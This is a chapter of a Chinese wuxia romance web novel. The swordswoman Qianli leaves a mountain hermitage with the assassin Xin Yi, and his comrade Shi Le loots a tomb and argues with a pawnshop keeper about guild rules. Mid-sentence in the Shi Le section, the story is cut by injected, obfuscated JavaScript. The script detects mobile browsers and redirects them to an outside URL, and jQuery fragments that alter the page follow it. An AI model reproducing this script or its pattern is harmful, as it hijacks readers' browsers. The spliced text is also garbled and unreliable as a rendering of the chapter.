默认冷灰
24号文字
方正启体

40. 双离去

作者:春秋花月本书字数:K更新时间:
    已近子时,繁星挂天,仟离抬眼看了看漫天触手可得的星空,仿佛回到了折梅峰练剑被虐的日子,身体是累的,心里却是开心的。


    她捧着书往院子里走,借着院中唯一留存的一盏昏暗灯光终于看清了封皮上的字迹,龙飞凤舞的字迹飘逸勾勒出《清风剑法心得》《清风阵法心得》,仟离不由感叹,这名字起的还真是简单粗暴。


    她绕过廊檐往后院走,推门关门一气呵成,房间倏地被灯烛点亮。


    隔壁房间的窗户用木条微微支撑着,灯光伴着夜风缓缓漏进来丝丝点点,床上之人缓缓转过身,睁开眼,正和偷偷跑进来的隔壁烛光大眼瞪小眼,不知在想什么。


    窗外静悄悄的,一直又过了约莫一个时辰,隔壁的灯光倏地熄灭,这边床上人也缓缓阖上眼。


    既然开始便没有一知半解离去的道理,仟离算了下,距离给阮时川送“七日穿肠散”解药还有两天的时间,她便又在这打扰了两日,这两日她几乎算是黏在了陆凤觞的身边,一手攥着他那两本著作,嘴里神神叨叨地念着。


    昨夜陆凤觞的话多数仟离还是认真听进去了,阵法不过是新奇玩意,学学便罢,她行走江湖依靠的还是手中的剑,可不能丢了西瓜捡芝麻。


    清风剑法在江湖人中提起也是被竖大拇指的绝世剑法,能让陆凤觞专心记录下来的更是精华中的精华。


    仟离虽不是喜新厌旧没良心的,但她也想多多见识些,她不是那种死心塌地专攻一种剑术的人,博众家之长好像也不错。


    她若是能将折梅剑与清风剑二者融会贯通,是不是也能钻研出独属于自己的剑法?


    虽然有点渺茫,但闲着也是闲着,不如试试。


    仟离跟影子似的寸步不离地跟着陆凤觞,陆凤觞虽然没受过徒,但自己也做过徒弟,谁家徒弟像她这样子。


    有时仟离一时不慎差点跟着陆凤觞走到茅厕去,还是陆凤觞嚎了一嗓子“小情郎”,然后仟离就在尴尬着向陆凤觞赔着罪的间隙被跑过来的辛夷一把拽走了。


    匆忙中时间如流水潺潺而过。


    日升日又落,仟离和辛夷二人于太阳漏出山尖时拜别了陆阮夫妇,顺着陆凤觞给他们指的出山之路离去。


    仟离一路蹦蹦跳跳,开心不已,可转头忽然对上辛夷那张一张平静无波的脸。


    她随手扯下一根狗尾草在他面前晃了晃,打趣道:“辛堂主,有心事啊?是不是深山见隐士却没求得一星半点的指点,心里会有那么一点点的不甘心?”


    仟离左手拇指食指并紧在他面前比划了那么一下,不多不少,正好“一点点”。


    辛夷不以为意地看了她一眼,说道:“他又不是我半个师父,凭什么指点我。”


    仟离挑了挑眉,觉得这人佯装说大话的样子很好笑,随即往前侧方立跨一步挡住辛夷前行的路,倏地停住,转身,正巧用狗尾草顶头颤悠悠的圆锥花抵上他胸口,正若有所思地含笑看着他。


    辛夷被这人突如其来的玩笑举动吓了一大跳,不只吓了一大跳,仿佛心都突然停了半拍。


    幸好他脑子还能控制住身体反应,立马停住后退了一小步,这才止住力没撞上去。


    他淡淡道:“深山老林是死尸的绝佳存放地,连土都不用埋,不出几个月就被猛兽吃得只剩几根骨头,就同你那日上山看见的一样。”


    仟离笑道:“辛堂主讲故事的样子比你说大话的样子更搞笑。”


    说完自己嘻嘻笑了起来,她转头走着,又停下一步走到辛夷左侧和他并排走,偷偷瞟了他一眼,吞吞吐吐,“不过......”


    辛夷双眼直勾勾盯着前面的路,沉声道:“有话就说。”


    仟离嘻嘻一笑:“走出青苔山,能不能请辛堂主答应我一件事?”


    她抬头看了看辛夷的反应,见他没反应,便继续说,“我知道银衣楼也做打探消息的活,但你能不能先不要对外说陆前辈他们在这,也别说我师父住在哪,行不行?”


    辛夷漫不经心地看了她一眼,道:“我像嚼嘴的长舌妇吗?”


    仟离道:“不像不像,您这动不动就‘一字千金’的派头我还是十分相信的,那就多谢辛堂主了。”她晃着手里快要撅折了的那根狗尾草,感叹道,“都说山中无岁月,哎呀,一晃感觉过了好久。”


    刚说完辛夷话少,谁知听完仟离的感叹他话突然多了起来,“你这次来青苔山就是为了那个小盒子里的东西吗?”


    仟离没有隐瞒的点点头:“嗯,我来平远城也是知道它前两年曾出现在这,后来经过一位......朋友的告知,才得知谢府一事,便跟着谢老爷来了。”


    辛夷问:“这个东西很重要,竟让你肯孤身一人不顾性命去夺?”


    仟离点头喃喃回答:“很重要,救命的药材。”


    辛夷淡淡道:“没想到你还会救人呢?”说完几不可见地扬了下眉。


    在银衣楼弟子面前得到众人私下以“煞神”称呼的辛堂主或许自己都没有意识到,他竟然在山路上和一位相识不过数日的女子莫名地开起了玩笑,而且说完自己心情好像还不错。


    仟离差点跳脚,高声道:“我师父可是无忧谷主,虽然我的医术不如我的师兄师姐,但行医问药我还是会一点的,你也太小看人了。”


    辛夷倏地停住脚步。


    仟离以为前面又有什么特殊情况,结果只见辛夷突然转头十分郑重地说道:“嗯,浑身是毒的人去救人确实很有说服力。”


    说完竟然脚步十分轻松地径直走了。


    “什么意思?”


    仟离还怔在原地琢磨这句话,然后跳起来三步并作两步追上去,嘴里还喊着,“辛夷!等哪天本毒医就一粒毒药塞进你嘴里,毒死你。”


    辛夷不轻不重还带着愉悦的声音远远飘荡在下山的山路上,“毒医也是医。”


    石勒在平远城街道上百无聊赖地闲逛,他已经在这条主街上来来回回逛了三天了,嘴里还在喃喃自语,“辛罗衣死哪去了,几天了,还不回来,不是跑出去了么。”


    他从青苔山上跑下来,急忙问了“银记”典当行的徐掌柜,找了平远城内最好的机关师和下墓人,又非常大手笔地将城内三个大铁匠铺的打铁工匠都雇佣了下来,带着二十几人于次日午时入了青苔山。


    石勒在石门前喊了半天没人应答,他首先想到的不是这俩人能力强到跑出去了,而是会不会在里面饿死闷死。


    众人急忙寻找方法开门,结果废了九牛二虎之力打开石门后,石勒当即就炸了毛,人家早就跑出去了,空留一间漏风的石室在等他们。


    石勒才不管三七二十一,秉着这趟不能让众人白跑的想法,当即和众人将那些财宝分吧分吧都带走了,他还煞有其事地叮嘱众人,挑普通的金银珠宝拿,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275071|198200||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要带太贵重的物品,还说此事万不可对外人言,否则就是诛九族的大罪。


    众人都是老实巴交的平头百姓,何时见过这么多银钱,有些人甚至都不敢多拿。


    石勒将那些宝物带出去,一些有明显皇家特征的宝贝就被他留在了墓室里,他自认为自己不是贼,没有不走空的那些道理,总该给这王侯留些代表着身份地位的宝贝。


    然后众人趁着深夜下山,各自掩藏着心里最深的秘密回了各家。


    石勒当即离开众人在街上暗自转了两圈确定身后没尾巴后,敲响了“银记”典当行的门。


    徐掌柜睡梦中迷迷糊糊地见石勒忽然来了,还气喘吁吁的,以为他入青苔山又发生了什么不得了的大事,瞌睡当即就给吓没了。


    结果石勒偷偷摸摸进屋后,“咣当”落下一个包裹,一打开都晃眼。


    “徐掌柜,这些入账吧。”


    徐掌柜在银衣楼办事几十年,也算楼里的老人,他看着石勒脸上还带着颇为自豪的神色,当即冷声问:“银衣楼于金钱一事最重要的规矩你可还记得?”


    石勒突然怔住,莫名其妙问这个干什么,不过各地掌柜的能力有时比四位堂主还厉害,石勒也不敢反驳,便认真答道:“不动朝廷金,不碰百姓银。”


    徐掌柜问:“那你这些是从哪弄来的?”


    石勒道:“王侯墓里。”


    他当即就给徐掌柜解释:“‘不动朝廷金’说的是不碰朝廷下发的军饷相关,总之不跟朝廷打交道,但是我们不是也明着暗着动了些朝廷官员,可见这个规矩不是那么......更何况,这个衣冠冢都一两百年了,我又不是只自己拿的,和我一起去的那些人都拿了,他们都是生活贫苦之人,拿了这些就能过些好生活。”


    他又大道理地说:“咱们最最重要的是什么?”他未等徐掌柜说话,就兀自说道,“是劫富济贫,不然之前那几个贪污腐败的官员的家里的钱是怎么没的?”


    徐掌柜倒像是忽然没理一般顿了片刻,他一边扒拉着桌上各式各样的宝贝,一边认真说道:“也罢,那就依照银衣楼的规矩,一半入楼账,一半我会兑换成银子,找暝鸦堂的弟子将钱送到那些贫苦人家,到时会做好登记向楼里汇报。”


    石勒坐在桌前倒了杯水喝着,一边看着徐掌柜将那些物件分类,一边听他絮叨,“这笔钱会登记你的名字,涉及的佣金到时候会由楼里统一随着月钱发给你。”


    石勒忙咽了水,道:“把辛夷也一起记上。”


    他心想:“辛堂主,别说兄弟没照顾你。”


    徐掌柜点了点头,“谢府这单算是完成了,你记得抓紧将银蝉单兑回来,另外把剩下的佣金也拿回来。”


    石勒长长叹口气,垂着眼道:“那半阙银蝉单在辛堂主身上,我没找到他。”


    徐掌柜当即就愣在那,不敢确认地又问了一遍,“所以你是说你带人去找辛堂主,结果人没找到,却将这些东西带回来了?”


    石勒忙道:“哎——徐掌柜,顺序可不是这样的,您这样说好像我是个见钱眼开的人一样。是我先进去找的人,人已经安全出去了,所以我才拿的钱,这个先后顺序可千万不能反,否则我的一世英名就毁了。”


    徐掌柜哼了一声,起身将那些东西收起来。


    石勒见状也随即起身摆摆手,“打扰了,您老早些休息,我也回去睡觉了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)